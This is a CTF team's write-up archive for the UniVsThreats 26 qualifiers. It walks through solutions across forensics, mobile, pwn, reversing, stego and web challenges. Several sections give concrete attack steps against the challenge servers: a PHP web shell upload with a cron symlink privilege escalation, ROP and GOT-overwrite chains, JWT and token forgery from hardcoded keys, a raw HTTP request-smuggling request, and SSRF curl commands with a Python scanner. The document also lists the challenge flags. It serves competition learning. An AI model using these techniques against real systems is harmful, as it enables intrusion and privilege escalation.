Event Snapshot
Organizer: West University of Timisoara
Team: KSAL Cyber Team
Result: 4th place overall
Official site: UniVsThreats 26 Quals
This page is the site version of Alpet’s full UniVsThreats event repo.
Instead of breaking the event into a pile of tiny posts, we are keeping the entire challenge archive together here so the solve record stays readable, complete, and easy to share from one place.
Full Challenge Archive From The Event Repo
The sections below are copied into this writeup from the original event notes so the full challenge set lives here on the site.
Blockchain
Andromeda Casino - Cards
Point: 182
Welcome back to Andromeda Casino! No rest for the wicked, eh? I bet one flag you can’t win the cards game!
NOTE: Please download the challenge files and use them to get a working solution locally before connecting
Andromeda Casino - Horses
Point: 132 Welcome to the greatest casino in the whole Andromeda Galaxy! Your fun is about to be astronomical!
Judging by your communication frequencies, you must be new ‘round here, so let me give you a tip. Go to the Casino’s Exchange and ask them for some free tokens. If you can multiply them, you’re in for a stellar treat!
But be careful to pay ‘em back in time, or else…
NOTE: Please download the challenge files and use them to get a working solution locally before connecting remotely.
Crypto
Voyager’s Last Command
Point: 50
Year 2387 You have established an uplink to the Voyager-X probe via an emergency telemetry relay.
Forensics
Bro is not an astronaut
Point: 50
Additional Writeup Notes
50 points
While we were scouring through space in our spaceship, conquering through the stars and planets, our team found A LONE USB STICK! FLOATING THROUGH SPACE INTACT!!! WHY?!?! HOW?!?!!? HOW IS THAT POSSIBLE?!?!?!
Anyway…
We have found this USB stick (how) that seems to contain some logs of a long lost spaceship that may have been destroyed. The USB stick seems to have been made with a material that we do know of, but its contents are intact, although it seems data is either corrupted, deleted or encrypted. Someone wanted to get rid of it… I wonder why🤔
Find out what happened here and retrieve the useful information
1) Parse GPT and Locate Partitions
The image has GPT (EFI PART) and two partitions:
ASTRA9_USER(FAT32, live files)ASTRA9_CACHE(ext4, deleted artifacts)
2) Read Live Files from FAT32
/logs/crew_log.txt/nav.bc/payload.enc/readme.txt
Important clues:
- Crew log gives token prefix:
ASTRA9- - Crew log + debrief mention encrypted telemetry fragments in cache
- Debrief states:
- fragment format uses TLM header
- sequence field is at offset 4
- XOR key is in
diag_key.bin - reassemble in sequence order
3) Recover Deleted ext4 Files
The script parses ext4 directly and recovers deleted regular files (links==0, dtime!=0).
Recovered critical inodes:
inode 20: 16-byte high-entropy blob (diag_key.bincandidate)inode 21..31:TLMfragments with sequence valuesinode 18:BRO-1337inode 17: 32-byte seed candidate (used by payload decoy path)
4) Reassemble TLM Alpha/Bravo/Charlie (Real Flag Path)
The corrected solver does:
- Select TLM fragments with sequence
1, 2, 3(alpha/bravo/charlie). - Read declared per-fragment length from header bytes
[5:7](little-endian). - XOR candidate windows in each fragment body using
inode 20as key. - Score windows for flag-like charset and boundary checks:
- seq 1 should begin with
UVT{ - seq 3 should end with
}
- seq 1 should begin with
- Pick best window per fragment and concatenate in sequence order.
Recovered parts:
- seq1:
UVT{d0nt_k33p_d1G - seq2:
G1in_U_sur3ly_w0N - seq3:
t_F1nD_aNythng_:)}
Concatenated real flag:
UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}
5) Payload Path (Decoy)
airlockauth logic is still valid:
h1 = SHA256(nav.bc)h2 = SHA256(seed32 || token || h1)payload.enc XOR h2
With ASTRA9-BRO-1337 + inode 17 seed, this decrypts to:
UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}
This looks like a flag but is a decoy message.
Final
Use the telemetry-reassembled output:
UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}
Misc
ShadowRoute
Point: 365
The Helios Space Station has been operational for two years, orbiting Earth at 400km altitude. Recently, ground control detected anomalous network activity from the station’s internal systems. Your mission: intercept the data stream and identify the unauthorized beacon before the station completes its next orbit. Good luck hunting the unfindable.
Credentials: pilot:docking-request
1. Initial Access & Discovery
- Connect: SSH into the restricted shell using
pilot/docking-request. - Enumerate: Use the allowed
nmapcommand to scan127.13.37.0/24and locate the dynamic internal station host (e.g.,127.13.37.46). - Tunnel: Port-forward the internal web service (
9043) and file archive (8445) to your local machine.
2. Web Exploitation (www-data)
- Credentials: Extract the Stargate panel credentials (
astrid/apollo1) from thetransmission.txtfile located on the internal file archive. - Authenticate: Log into the Stargate dashboard.
- RCE: Upload a PHP web shell disguised as a telemetry file. The application accepts
.phpextensions and executes them, grantingwww-dataaccess in/var/www/html/cosmos-data/.
3. Privilege Escalation (Root)
- Identify Cron Job: A root-level cron job executes
/home/nova/orbit-sync.shevery minute and copies files from the web upload directory to/var/backups/telemetry/. - Symlink Abuse (Step 1): Create a symlink in the web upload directory pointing to
/home/nova/orbit-sync.sh. The root cron job copies this, creating a mirrored symlink in the destination folder. - Symlink Abuse (Step 2): Replace your original symlink with a malicious bash script.
- Execution: On the next cron tick, the root copy operation traverses the destination symlink, effectively overwriting the actual root script with your payload. The subsequent tick executes it, dumping the contents of
/root/root.txtinto the web directory.
4. The Flag
UVT{y0u_f0und_m3_1n_4_d4rk_c0rn3r_fr0m_4_sh4d0w_t3rm1n4l_h0peFully_y0U_WoUlD_r3MemBer_M3!!!_1_will_watch_yOur_m0v3s_frOm_h3r3}
We are the Universe!
A mysterious bot has docked in our server carrying a broken launch key split into four fragments. The first fragment is hidden in plain sight, a round view of something that was never meant to be round.
When the time comes, a global launch event will trigger. To ignite the engines, you must gather in the voice hangar and stand together at the shuttle. Each crew member must take a position and recite the launch chant in the correct order, a familiar tune that starts with:
This is the only phase of the challenge where you are allowed to collaborate. Coordinate in voice, then set your nicknames to assemble the chant in order, one word per person, using numbered names like:
1 FIRST 2 WORD 3 OF 4 THE 5 CHANT …
If the chant is assembled perfectly, the next fragment will drop and the final phase of the mission will unlock.
Engines ignited - perfect chant! Part 3: _m0n3Y_R0b0tI1
Part 1:
We Scan the QR code from the bot on discord
I_W1lL5Hu7
Part 2:
- collected 21 image from the bot
- use that image as 0 and 1 (black 1 and white 0) to decode a binary stream
- merge into matrix
- find the best combination and using PIL we make an QR code and get the flag
Part 3:
_m0n3Y_R0b0tI1
Part 4:
-
Record the bot on the discord channel and use the audio to decode the final flag pi po pi po po po po po pi po pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi pi po pi po pi pi po po pi po pi pi po po po pi po
-
using the 2-tone FSK decoding we get the binary stream and decode it to ascii to get the final flag
_r1ckr0ll3dy@ll
Part 1: I_W1lL5Hu7
Part 2: Up_f0R
Part 3: \_m0n3Y_R0b0tI1
Part 4: \_r1ckr0ll3dy@ll
Flag:
UVT{I_W1lL_5Hu7_Up_f0R_m0n3Y_R0b0tI1_r1ckr0ll3dy@ll}
Mobile
Irondrop
Point: 494
A decommissioned space relay is still forwarding “secure” command traffic through a hardened Android client. The app is packed with anti-root and anti-instrumentation checks, and it speaks a custom binary protocol over raw TCP.
Your mission: reverse the client, reproduce the protocol logic, gain privileged access to the relay inbox, and extract the classified transmission The app doesn’t run in unsafe environments.
Solution
3) IronDrop
Recon
App communicated over raw TCP using a custom binary protocol. Frames were structured as: cmd (1 byte) | length (2-byte little-endian) | payload. Mapped out the main commands:
0x01/0x02/0x03/0x04— handshake, challenge, login proof, session0x10/0x11— list inbox / inbox payload0x20/0x21— read message by ID / message payload
Reversing the login proof
The native function at offset 0x18ec0 handled auth. It builds a proof like this:
- If password length ≤ 255:
h1 = SHA256(challenge XOR SHA256(password)) - If password length > 255:
h1 = SHA256((0x42 × 32 bytes) || challenge) - Then:
core = u8(len(username)) || username || h1 - Then:
msg = challenge || core || "IRONDROPv2" - Then:
h2 = SHA256(K1_CONST || msg),h3 = SHA256(K2_CONST || h2) - Final proof sent to server:
core || h3[:16]
The bug
Username length is cast to a single unsigned byte before being serialized. A 256-character username wraps to 0x00. Pairing that with a 300-character password (to force the long-password branch) produced a proof the server accepted with elevated privileges instead of a guest session.
Exploit
Sent login with username = "A" × 256 and password = "A" × 300, got a privileged session, then used 0x10 to list the inbox and 0x20 to read each message until the flag appeared.
Root cause: Integer overflow on username length + an alternate crypto branch combined to trick the server into granting higher access than intended.
Flag: UVT{2d9734481e93a68cdd560f2cf4833bbde20e21850361587a62cb7f9ed661dda9}
Phantomgate
Point: 261
Deep in the outer-ring stations, PhantomGate protects command access to a classified orbital network. You intercepted only an Android APK and the remote gateway endpoint. Somewhere inside the app is the path to forge an admin authentication proof and unlock the control channel. Reverse the client, break the protection layers, and breach the gate before the auth window collapses. The app doesn’t run in unsafe environments. At some point you will need to get the api system time.
Solution
Recon
/api/time leaked server time and confirmed a 30-second TOTP window. /api/admin/flag told me exactly what it needed:
X-Admin-OTP— 6-digit codeX-Admin-Token— 44 hex charsX-Admin-Nonce— 24 hex charsX-Caller-UID
Reversing
The Java layer was just glue — the real logic lived in libphantom_crypto.so. Inside I found:
- A hardcoded admin account identifier (
admin_backup) - A 20-byte admin TOTP key:
a9a4072ac55133f0b39ddbd6261a61b5d4d71df2 - A 32-byte global key:
f38a1c67bb42e9053dc8a7519f2e764b18d365ae7c0f9238e4b72a5cd981f643 - Standard HOTP truncation over HMAC-SHA1, mod 1,000,000 for the OTP
Token construction (reverse engineered from native code):
derived_key = SHA256(global_key[:16] || uid_as_le32)- Generate a ChaCha20 keystream (counter=1, your nonce)
- XOR the 6 OTP bytes with the keystream prefix → 6-byte ciphertext
tag = SHA256(ciphertext || derived_key)[:16]- Final token = ciphertext + tag = 22 bytes = 44 hex chars
Exploit Grabbed server time, computed the OTP for the current slot (±1 for clock skew), generated a nonce, built the token with the above steps, sent all headers together.
Root cause: Every piece of the auth puzzle — TOTP seed, token algorithm, crypto keys — was sitting in the app binary.
Flag: UVT{5db27607b1ba5395e8e24be2ab2dad0ef0ccf744b6966be51ef8b58d6583e681}
Vault
Point: 89
VaultDrop is an orbital vault client, used by pilots to sync encrypted manifests from a remote station node. A breach alert reports that one docked client can query more than it should, and command suspects privilege escalation issues. The app doesn’t run in unsafe environments.
Solution
1) Vault
Recon Started by poking the live API — health check, register, login, file listing. Nothing unusual, so I moved on to the APK.
Reversing Decompiled the app and found it was making JNI calls into native code. Three functions stood out:
getAppJwtSecret— the one that mattereddecryptConfiggetDbPassphrase
Inside getAppJwtSecret, the app builds a 48-byte buffer: the first 32 bytes are a hardcoded seed pulled from the binary’s read-only data section, and the last 16 bytes are the literal string vaultdrop.jwt.v2. It then SHA256s the whole thing and uses the hex output as the JWT signing secret.
Extracted seed:
1ec2a7b1be9e59fa7a0ff354f12ac8d3a1e646a923cbe5f84e91ac5a0b23eccf
Derived secret:
4536ecd6d1c79c770306392bc7e20b0045437682694d3db5ab77220b8b5d76db
Exploit
Registered a real user (the server required sub to match an existing account), then forged an HS256 JWT with role=admin. Sent it to GET /api/admin/flag and got the flag.
Root cause: The JWT signing key was fully recoverable from the app binary.
Flag: UVT{bbc14e49545f9781161c415081aaac03709fa9f2dcdda458daee0d8c0ba8f9cf}
Whisper
Point: 100
A deep-space relay known as Whisper streams encrypted telemetry from orbital stations. Your mission is to analyze the Android client and recover the access token used by the control API. Something in the local signal path is leaking more than it should. Capture the right artifact, authenticate to the relay endpoint, and retrieve the flag.
Pwn
Miller’s Planet
Vulnerability
vuln()reads input withgets()into a stack buffer when the provided size is<= 0x100.- Stack canary is disabled and PIE is off, so RIP can be reliably overwritten with static addresses.
- The binary also has a useful sequence at
0x401249:mov rdi, rax; call system; ....
Exploit Idea
- Send
1as the first size to enter the stack-input branch and trigger a classic stack overflow. - Overwrite RIP with:
ret (0x401164) -> vuln (0x4013a0) -> mov rdi, rax; call system (0x401249) -> fake rbp -> main re-entry (0x40146f). - During the second
vulncall, send300so input is stored on heap, then send the command string. gets()returns the heap pointer inRAX, gadget moves it intoRDI, andsystem(command)executes.
Run
python solve.py --host 194.102.62.175 --port 28351
Flag
UVT{wh0_n33d5_10_stdfile_0_l0ck_wh3n_y0u_hav3_r0p_bWlsbGVyIHMgcGxhbmV0IGlzIGNyYXp5}
Starlink
Point: 56
Humanity engineered this system piece by piece, launching thousands of mass produced nodes until the sky was more wire than void. To solve this issue, they developed an autonomous system that can rid the sky of them automatically when there are too many nodes.
The system rids the sky of nodes by physically colliding with them, but a glitch causes a chain reaction. Instead of cleaning, it creates a ‘Kessler Syndrome’ event a cloud of supersonic shrapnel that traps humanity on Earth.
Can you stop this rogue system and free humanity from this lethal cage?
Vulnerability Summary
- Startup format string leak:
%29$pgives libc leak (__libc_start_main+0x8b). - Heap overflow in
Update:strcpy(node->content, input)lets us overwritenext. - Partial RELRO: writable GOT, so
free@GOTcan be replaced.
Minimal Exploit Flow
- Leak libc with
%29$p. - Compute
libc_base = leak - 0x2a28b, then resolvesystem. - Create one node with name as command, e.g.
cat flag*;cat /flag*. - Overflow with
b"A"*0x107 + p64(0x403fe7)to set fakenext. - Update using empty name
""withp64(system)to overwritefree@GOT, then delete the command node to triggersystem(name).
Key Constants
free@GOT = 0x404000fake_node = 0x403fe7(fake_node + 0x19 = free@GOT)overflow offset to next = 0x107libc leak offset = 0x2a28b
python exploit.py HOST=194.102.62.175 PORT=21434
Flag:
UVT{wh444t_h0us3_0f_sp1r1t_1n_th3_b1g_2026_ph4nt4sm4l_ph4nt4smagor14_1s_1t_y0u_06112009_JSdlsadasd8348Gh}
Rev
Bro is not a space hacker
Point: 52
Congratulations earthling! You found the culprit that deleted those files…
By investigating the USB further, a team member found out that there is a program that would unlock the airlock of that spaceship.
Your mission is to reconstruct the access chain, verify the airlock authentication path and recover the hidden evidence that explains who triggered the wipe, why it was done and what was meant to stay buried.
Soulution
Access chain reconstructed
- crew_log.txt gives token prefix: ASTRA9- and says the second half is in secure cache.
- Deleted cache file inode_18.bin contains: BRO-1337.
- Full token: ASTRA9-BRO-1337.
- Running airlockauth inside analysis/fat with that token returns signal verified (wrong token returns access denied).
Airlock auth path (reversed)
- Read seed32.bin, nav.bc, payload.enc.
- Compute h1 = SHA256(nav.bc).
- Compute k = SHA256(seed32.bin || token || h1).
- Decrypt payload.enc with repeating-key XOR using k.
- Check decrypted data starts with
UVT{.
Hidden evidence
- inode_19.bin (mission debrief) is authored by Lt. Orin Voss and documents anomalous EM readings from cargo bay C-7, then cache purge instructions.
- crew_log.txt records that diagnostics confirmed wipe request and marked /diagnostics and /tmp for deletion.
- Inference: wipe was intentionally triggered by maintenance/diagnostics under Voss’s direction to bury C-7 telemetry evidence.
- The buried secret is the decrypted payload above (the flag).
Flag:
Flag: UVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}
Satellua
Point: 132 You’ll reach the flag no matter what it takes, right?
Solution
mainloads an embedded custom Lua 5.5-like chunk from.data(unk_6302E0, sizedword_6302C0 = 9,742,391) and executes it.- In
sub_405800, every runtime error updates a counter. At each0x111088-th hit, one flag byte is emitted:collapsed = xor(all 8 bytes of thrown 64-bit value)flag[i] = byte_4227E0[i] ^ collapsed
byte_4227E0starts at0x4227e0:64 0d ae f1 be 1f 6c f5 38 01 f3 e5 07 e0 98 6d f4 fd 4e 20 00 fd 46 df c4 fa 0d 4d c2 ac ...
- Brute-running was intentionally slow, so I instrumented early throws and derived the exact recurrence for thrown values:
x1 = 0x1fff000x(n+1) = splitmix64(x(n) + 0x9E3779B97F4A7C15)splitmix64(z) = ((z ^ (z>>30)) * 0xBF58476D1CE4E5B9; (z ^ (z>>27)) * 0x94D049BB133111EB; z ^ (z>>31)) mod 2^64
- Evaluating this at indices
n = k * 0x111088and XORing with the key bytes yields:UVT{R3turn_8y_Thr0w_Del1v3r3r}
Flag
UVT{R3turn_8y_Thr0w_Del1v3r3r}
Sea of Fire
Point: 289
At the bottom of the sea, you find an ancient disc-like relic. A true UFO!
By sheer luck, you breach the entrance and go inside to explore. What could possibly go wrong?
Well, tripping over some circuit that lights up the interior, awakening dormant aliens. You run for your life, but get lost in a sprawling maze that, defying all known laws of physics, dwarfs the outer shell
Shaking violently, the now-activated UFO beams into outer space. Hurry up and turn this thing off before it collides with a dying star!
Soulution
looking at the game files showed it was a Unity IL2CPP build.
Using cpp2il dumps, i read the code and discovered the check took place in _odc70232313.ValidatePassword, which runs a custom VM.
Next i used UnityPy to read level1 and get the path of instructions, from beginning to end (which i found in RoomInstructionTrigger components in level1).
then i reversed the vm opcodes and lookup table.
after that i had chatgpt make me a python script that ran it in reverse and that checked that the input that was found met the final condition (top = 1).
Flag
UVT{Fly_m3_in70_a_5Up3rn0vA}
Starfield Relay
Point: 50
A recovered spacecraft utility binary is believed to validate a multi-part unlock phrase. The executable runs a staged validation flow and eventually unlocks additional artifacts for deeper analysis. Your goal is to reverse the binary, recover each stage fragment and reconstruct the final flag.
This crackme is a staged builder: each stage validates a fragment and appends it to a running string. After stage 10, the concatenation is the flag.
Stage 1
- Prompt: base prefix (4 chars)
- Check is direct
memcmp(..., "UVT{", 4). - Fragment:
UVT{
Stage 2
- Prompt: 3-char fragment
- Helper function builds expected string directly:
- bytes:
0x4b 0x72 0x34
- bytes:
- Fragment:
Kr4
Stage 3
- Prompt: stage2 token (8 chars)
- Constraint per byte:
7*i + (in[i] ^ (17*i + 109)) + 19 == target[i]target = 0xC5E42C25FADC2431(little-endian bytes)
- Inverting gives:
- Fragment:
st4rG4te
Stage 4
- Prompt: token (8 chars)
- Constraint per byte:
3*i + (in[i] ^ (-89 - 11*i)) == target[i]target = pack("<II", -307768873, 1231567188)
- Inverting gives:
- Fragment:
pR0b3Z3n
Stage 5 (no input)
- VM bytecode is decoded and interpreted (
sub_140117D90+sub_140118090). - VM output is hashed and compared against embedded target.
- Recovered output:
- Fragment:
THEN-
Stage 6 (payload extraction, no fragment)
- This stage extracts the embedded
stage2payload and verifies it viastage2.sha256. - It does not require user input and does not contribute a new typed fragment.
Stage 7 (starfield pings)
- File:
stage2/starfield_pings/pings.txt - Filter on
ttl=1337, usetimeas 5-bit symbols. - Decoder maps are split by symbol parity:
- even symbols use
map_even_xor52 - odd symbols use
map_odd_rev_xor13
- even symbols use
- Decoded fragment:
- Fragment:
uR_pR0b3Z_xTND-
Stage 8 (logs)
- File:
stage2/logs/system.log - Use
subsys="zen"entries, order byslot, XORfragxwith keyk. - Concatenation gives base64 text:
SV9oMUQzX2luX2wwR3pf
- Base64 decode:
- Fragment:
I_h1D3_in_l0Gz_
Stage 9 (void island)
- File:
stage2/void/zen_void.bin - Apply key
0x2ato the correct non-zero island in the valid void range. - Matching fragment:
- Fragment:
1n_v01D_
Stage 10 (final)
- Key rule from readme:
key = sum(bytes(stage8_text)) % 256
- From stage 8:
sum(b"1n_v01D_") % 256 = 0x78
- Decode the next island with
0x78: - Fragment:
iN_ZEN}
Reconstructing the final flag
Concatenate stage fragments in order:
UVT{- Kr4
- st4rG4te
- pR0b3Z3n
- THEN-
- uR_pR0b3Z_xTND-
- Ih1D3_in_l0Gz
- 1nv01D
- iN_ZEN}
Result:
UVT{Kr4st4rG4tepR0b3Z3nTHEN-uR_pR0b3Z_xTND-I_h1D3_in_l0Gz_1n_v01D_iN_ZEN}
Stegano
Stellar Frequencies
Point: 50
A layered audio transmission masks a space message within a thin, high‑frequency band, buried under a carrier. With the right tuning, the faint signal resolves into a drifting cipher beyond the audible, like a relay echoing from deep space. Ready to hunt the signal and decode what’s hiding between the bands?
Solution
sox frequencies.wav -n spectrogram -o output.png
Flag
UVT{5t4sh1p_3ch03s_fr0m_th3_0ut3r_v01d}
Where is everything
Point: 50
HTTP 404: Everything Not Found
Writeup
The folder already contains all puzzle artifacts and helper scripts:
empty.txt(looks blank, but has space/tab data)empty.png(looks empty, but has LSB data)empty.js(contains a big hiddenVOID_PAYLOAD)- scripts:
another.js,extract_png.js,script.js,flag.js
1) Decode the hint from empty.txt
Run:
node another.js
This decodes spaces/tabs into text and gives the important clue:
- inspect
empty.png - use the blue channel LSB
- sample every third pixel
- recovered text will unlock the hidden payload
2) Extract the ZIP password from empty.png
Install dependency once:
npm install
Then run:
node extract_png.js
Key output:
ZIP_PASSWORD=D4rKm47T3rrr;END
So the password is:
D4rKm47T3rrr
3) Rebuild the hidden archive from empty.js
Run:
node script.js
script.js extracts VOID_PAYLOAD from empty.js, maps zero-width chars to bits:
\u200B->0\u200C->1
and writes the bytes to flag.zip.
4) Decrypt/extract flag.zip
Run:
tar --passphrase 'D4rKm47T3rrr' -xf flag.zip
This extracts flag.png.
5) Get the flag from flag.png
Run:
node flag.js
It prints the embedded flag string:
`UVT{N0th1nG_iS_3mp7y_1n_sP4c3}`
Flag
UVT{N0th1nG_iS_3mp7y_1n_sP4c3}
Web
Nightmare Customer
Point: 51
You stumble upon the infamous online tech shop called “Cosmic Components Co.” Their entire business model seems designed to rip off individual customers while raking in billions and billions of dollars from deals with AI Data Centers.
Exploit their website and buy all the products to show them that the regular costumer shouldn’t be neglected!
The core bug is persistent coupon stacking.
- Endpoints:
POST /cart/addPOST /cart/couponPOST /cart/remove
- Coupons
NEWCUSTOMER10andSPACESALE15are intended for Product 1, but their discount effect can remain active after Product 1 is removed. - Repeating this loop increases effective discount globally:
- Add Product 1
- Apply both coupons
- Remove Product 1
Tier progression (/wallet-ledger) depends on purchases:
Rookie -> Silver -> Gold -> Platinum -> Diamond -> Elite.
The /flag route is blocked until Elite status, so the exploit goal is:
- Stack discounts with Product 1 loop until items are affordable.
- Buy products in progression-friendly order: 1 -> 2 -> 6 -> 3 -> 4 -> 5.
- Reach Elite and complete buy-all-products condition.
- Open
/flag.
Flag
UVT{sp4c3_sh0pp3r_3xtr40rd1n41r3_2026}
Revenge of Sea-Side Contraband
- Provided creds from PDF:
- Username:
AlexGoodwin - Password:
Pine123
- Username:
Old path confusion variants (like //localhost/admin) are also blocked in this revenge instance.
Clue interpretation (why smuggling)
Two important hints from app content:
- Gateway log:
- “Forwarding path now strips duplicate transfer directives…”
- “Do not split maintenance sequences across separate channels.”
- Comms feed:
- “I sent the two pieces…”
- “it only works when it stays on the same line.”
This points to parser/channel disagreement and two-piece single-line delivery: classic request smuggling clueing.
Validate desync behavior
When sending both Content-Length and Transfer-Encoding: chunked, behavior changes vs normal requests.
This indicates front-end/back-end parsing mismatch.
The successful path here is TE.CL:
- Front-end honors chunked framing.
- Back-end honors Content-Length.
Smuggle backend GET /admin and steal relay_auth
Use a raw socket request.
Key trick: place GET /admin ... as chunk data and set Content-Length small so backend desyncs and parses hidden request.
Just to be Clear we use Brup Suite to get the flag for the writeup we simulate on the curl
Working raw request structure
POST /forum/post HTTP/1.1
Host: 194.102.62.166:24956
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Connection: keep-alive
33
GET /admin HTTP/1.1
Host: 194.102.62.166:24956
0
GET /forum HTTP/1.1
Host: 194.102.62.166:24956
Cookie: session=<SESSION>
Connection: close
Observed response included:
- First response:
302from/forum/post - Second smuggled response:
200 OKfrom/admin - Header:
Set-Cookie: relay_auth=<value>; Path=/admin; HttpOnly; SameSite=Lax
That relay_auth is what we need.
Access admin and SSRF endpoint
After setting both cookies:
session=<...>relay_auth=<...>(Path/admin)
GET /admin returns admin panel and inventory probe UI.
POST /admin/relay accepts:
- form field:
inventory_node
Example:
curl -s -b ctf_cookie_24956.txt -X POST "http://194.102.62.166:24956/admin/relay" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "inventory_node=http://127.0.0.21:9100/inventory/stock/check?HarborId=1"
Expected: Status: 200 and inventory JSON.
Scan loopback SSRF range
Scan 127.0.0.1 to 127.0.0.254 on port 9100 through /admin/relay.
Live nodes found:
127.0.0.21127.0.0.241
Enumerate hidden node and get flag
Known path still works, but node changed vs older instance.
Final path:
http://127.0.0.241:9100/drops/pacific/batch-44c/vault/sealed/flag
Response contains:
Final Flag
UVT{N0w_Y0u_R34lLy_Pr0v3d_y0ur53lf_MrP1n3}
Sea-Side Contraband
Known intel from PDF:
- Username:
AlexGoodwin - Password:
Pine123 - Hint words: internal network, relay checks, stock queries.
Note: we use burp suite for the but for the writeup we simulate on the curl
Step Bypass Admin with path confusion
This path works:
http://194.102.62.175:27457//localhost/admin
Curl version:
curl -i --path-as-is -b ctf_cookie.txt -c ctf_cookie.txt \
"http://194.102.62.175:27457//localhost/admin"
Expected:
HTTP/1.1 200 OKSet-Cookie: relay_auth=...; Path=/admin- Admin page contains Harbor Inventory Probe Console
Why this matters:
/admintrustsrelay_authcookie, which gets set by the//localhost/adminroute.
Use the Inventory Probe SSRF
From admin page, stock probe sends requests to:
POST /admin/relay- parameter:
inventory_node
Default node values:
http://127.0.0.21:9100/inventory/stock/check?HarborId=1http://127.0.0.21:9100/inventory/stock/check?HarborId=2http://127.0.0.21:9100/inventory/stock/check?HarborId=3http://127.0.0.21:9100/inventory/stock/check?HarborId=4
Test command:
curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "inventory_node=http://127.0.0.21:9100/inventory/stock/check?HarborId=1"
Expected in HTML response:
Status: 200- JSON from internal service (
inventory-adapter)
Identify input validation behavior
Important validation discovered:
- Host must be dotted decimal IP.
- Host must stay in
127.0.0.1to127.0.0.254.
Examples:
http://localhost:9100/-> rejected (Inventory node IP must be dotted decimal.)http://10.0.0.1:9100/-> rejected (Node IP must stay within 127.0.0.1-254.)
So the relay is basically a loopback SSRF proxy with range restriction.
Scan allowed loopback range
Because only 127.0.0.x is allowed, scan 127.0.0.1-254 on port 9100 via /admin/relay.
Quick Python scanner:
import requests, re, html
base = "http://194.102.62.175:27457"
s = requests.Session()
s.cookies.set("session", "<SESSION_COOKIE>", domain="194.102.62.175", path="/")
s.cookies.set("relay_auth", "<RELAY_AUTH_COOKIE>", domain="194.102.62.175", path="/admin")
for i in range(1, 255):
ip = f"127.0.0.{i}"
node = f"http://{ip}:9100/"
r = s.post(base + "/admin/relay", data={"inventory_node": node}, timeout=8)
m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
if m:
block = html.unescape(m.group(1))
if "Status: 200" in block:
print(ip, "LIVE")
Live nodes found:
127.0.0.21:9100(known inventory service)127.0.0.230:9100(new internal node)
Step Enumerate second internal node
Request:
inventory_node=http://127.0.0.230:9100/
Response shows directory listing:
opsmanifestsdropslogsnotes.txt
Follow listings recursively. The useful branch:
/drops/pacific/batch-44c/vault/sealed/flag
Read flag endpoint
Final command:
curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "inventory_node=http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag"
Response contains:
Status: 200UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}
Final Flag
UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}
One-Shot Reproduction
I imporovised a one-shot script to do all the steps in one go (I used Burp for the that but here is a curl version)
# 1) Login
curl -s -c ctf_cookie.txt -X POST "http://194.102.62.175:27457/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=AlexGoodwin&password=Pine123" > /dev/null
# 2) Get relay_auth through admin bypass path
curl -s --path-as-is -b ctf_cookie.txt -c ctf_cookie.txt \
"http://194.102.62.175:27457//localhost/admin" > /dev/null
# 3) Pull flag from internal node
curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "inventory_node=http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag"